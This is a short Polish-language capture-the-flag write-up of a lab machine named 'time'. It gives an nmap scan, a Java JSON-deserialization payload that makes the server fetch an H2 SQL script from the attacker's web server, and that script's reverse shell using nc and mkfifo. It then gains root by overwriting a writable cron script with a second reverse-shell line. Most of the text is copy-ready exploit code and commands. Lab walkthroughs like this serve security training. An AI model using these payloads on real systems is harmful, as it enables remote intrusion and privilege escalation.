Nmap
nmap -p- -T5 10.129.29.200
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
User
Na porcie 80 mamy stronkę z validatorem JSON’a, który zawiera deserializację javy.
Po odrobinie googlowania znajdujemy projekt na Githubie
wg. instrukcji tworzymy plik SQL z reverse shell’em
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PORT] >/tmp/f');
Następnie uruchamiamy w terminalach listenera i serwer WWW i na stronie internetowej walidujemy poniższy kod
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://[IP]/test.sql'"}]
Robimy lepszego shell’a
python3 -c 'import pty;pty.spawn("/bin/bash");'
pericles@time:/home/pericles$ cat user.txt
8db3693446e1***08425eb1dd514
Root
Root jest całkiem szybki. Enumerując maszynę widzimy w CRON’ie, że uruchamiany jest plik /usr/bin/timer_backup.sh, na którym mamy prawo zapisu. W tym celu dodajemy klucze SSH do katalogu roota ponieważ reverse shell jest bardzo nie stabilny i zrywa się po kilku sekundach.
cat << EOF > /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
bash -c 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PORT] >/tmp/f'
EOF
# cat /root/root.txt
f58dee09f***3ca477573bae82